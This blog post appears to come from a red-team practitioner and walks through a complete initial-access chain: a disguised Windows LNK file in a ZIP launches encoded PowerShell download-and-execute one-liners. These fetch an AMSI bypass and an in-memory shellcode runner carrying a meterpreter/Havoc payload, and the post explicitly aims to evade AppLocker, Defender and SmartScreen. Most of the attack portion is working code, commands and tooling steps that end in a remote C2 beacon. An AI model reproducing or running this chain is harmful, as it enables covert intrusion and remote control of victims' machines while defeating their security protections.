Home Grown Red Team: Using LNK Files To Bypass Applocker

7 min readJan 18, 2023



The Windows LNK file is just one of the many ways to get easy execution while bypassing Applocker and some AV. While this isn’t a new concept, it does present a lot of opportunity and is still favorite method of initial access for APTs around the world.

In this post we’re not going to be doing anything with VHD files or ISOs (maybe we’ll look at that in the future), but we will be doing a few things highlighted below.

  • Bypass default Applocker rules
  • Bypass Microsoft Windows Defender/Defender for Endpoint (out of box trial configuration)
  • Bypass Smart Screen Protections
  • Utilize a Powershell shellcode runner
  • Bypass AMSI
  • Convert an EXE to shellcode with Donut
  • Get a beacon back to Havoc C2

These methods are just a drop in the bucket of what can be accomplished, but hopefully this will serve as a basis for a TTP and the reader can expand on these methods.

Setting Up Our Environment

There are a few tools that we’re going to need before we can get started. For the purpose of this POC, I’m going to utilize Havoc C2. The same basic principals can be applied to Metasploit, Covenant or Cobalt Strike.

I have a few articles on getting Havoc set up and running so check those out if you’re not familiar.

To get our shellcode past Windows Defender I’m going to utilize my own AV evasion tool, Harriet. You can find it as part of my Home Grown Red Team github.

We are also going to utilize the lnk2pwn tool by tommelo. We need to download the ZIP file.

Once the ZIP file is downloaded, we can extract it with the unzip command.

And then we can use this command to run the application.

java -jar lnk2pwn-1.0.0.jar

And the GUI will open.

We’ll put lnk2pwn on the back-burner for a second while we construct the rest of our kill chain.

The Kill Chain

LNK file > AMSI Bypass & Powershell Script Call > In-Memory Powershell Shellcode Runner

So let’s start out with our Powershell shellcode runner. We can use this one from snovvcrash.


$Win32 = @”

using System;

using System.Runtime.InteropServices;

public class Win32 {


public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

[DllImport(“kernel32”, CharSet=CharSet.Ansi)]

public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

[DllImport(“kernel32.dll”, SetLastError=true)]

public static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);



Add-Type $Win32

[Byte[]] $buf = 0x31,0x33,…,0x33,0x37

$size = $buf.Length

# msfvenom -p windows/meterpreter/reverse_https LHOST= LPORT=443 EXITFUNC=thread -f ps1

[IntPtr]$addr = [Win32]::VirtualAlloc(0, $size, 0x3000, 0x40)

[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $addr, $size)

$thandle = [Win32]::CreateThread(0, 0, $addr, 0, 0, 0)

[Win32]::WaitForSingleObject($thandle, [uint32]”0xFFFFFFFF”)

Since the system probably won’t let us actually run a PS1 file, we’ll have to rename our shellcode runner. I like to use readme.md.

I open a terminal, paste it in and save it.

This shellcode runner is pretty popular, so we’ll need to bypass AMSI before we can run it.

For now, we need to create our shellcode to call back to Havoc.

Running Harriet & Donut

Let’s run Harriet first.

I’ll choose EXE and for this POC I’m going to use the QueueUserAPC shellcode execution module.

I’ll choose the option in the menu and then input my values.

Now that I have an EXE, I’ll use Donut to convert it into Powershell shellcode.

Now if we go to our donut folder, we’ll see the loader.ps1 file holding our shellcode.

Let’s create another file in our terminal to host the AMSI bypass and call our shellcode runner. We’ll call this file read.md.

When we open the file, we see our shellcode. We can copy this and put it in our shellcode runner.

AMSI Bypass

Now we need a good AMSI bypass. We could spend all day testing AMSI Fail, or we can go with one that I know hasn’t been burned (yet…).

S3cur3Th1sSh1t has a good one that utilizes Hex obfuscation. You can find it here:


We’ll put this into our read.md file.

Now at the end of this one-liner we’ll add a sleep function so the script sleeps for 5 seconds.

Now we just need to add our readme.md oneliner to execute the shellcode runner in memory. For this, I’m going to base64 encode the dropper one-liner.

In Powershell, create a string variable to hold our dropper one-liner.

$str= “iex (new-object system.net.webclient).downloadstring(‘http://LOCALIP:PORT/readme.md')"

Next we can encode the one-liner.


And we should have a base64 command.

And we’ll add this to our read.md file.

Now when called, we’ll bypass AMSI, sleep for 5 seconds and then execute the shellcode runner in memory. Great!

Executing The Kill Chain

Executing the kill chain is not that difficult. We need a one-liner command to call read.md (which will bypass AMSI and call readme.md). Back on Powershell, we can just use our original one-liner.

$str= “iex (new-object system.net.webclient).downloadstring(‘http://LOCALIP:PORT/read.md')"

And then encode it.


And now we have our initial access one-liner.

Back on lnk2pwn, we can paste this one-line into the Arguments field.

We will also need to copy the oneline down to the Command field.

Once there, you should see the output field automatically add the command.

Now let’s name our LNK file. Your have the ability to change the extension if you want.

I’m going to keep the defaults for the purpose of the demo.

We shoudl be in good shape! Let’s click on Generate Shortcut and see if our LNK file is created.

All right!

Execution Time

The first thing we need to do is get everything in the right place. We need our LNK file, our read.md file and our readme.md file in the same directory.

And now let’s ZIP our LNK file.

zip Legit.zip Legit.txt.lnk

Then we can set up a python server.

On the victim machine we can navigate to our ZIP file through the browser.

And it opens without prompting for Smart Screen!

We see our Legit.txt file. Let’s click on it. It initializes Powershell and grabs our read.md file. Stage 1 complete.

With AMSI bypassed, it reaches out to grab our readme.md file.

Our shellcode runner is executed in memory. Stage 2 complete. We should have a beacon on Havoc.

And we do!

Running a simple whoami shows command execution.

Obviously there are a million other variations to this attack chain, but I wanted to show how easy it is to bypass default applocker rules and get a beacon on a target. Next up, using LNK files for persistence!

Stay tuned and in the meantime, you can follow me on here or on Twitter @assume_breach




Security enthusiast that loves a good CTF! OSCP, CRTO, RHCSA, MCSA.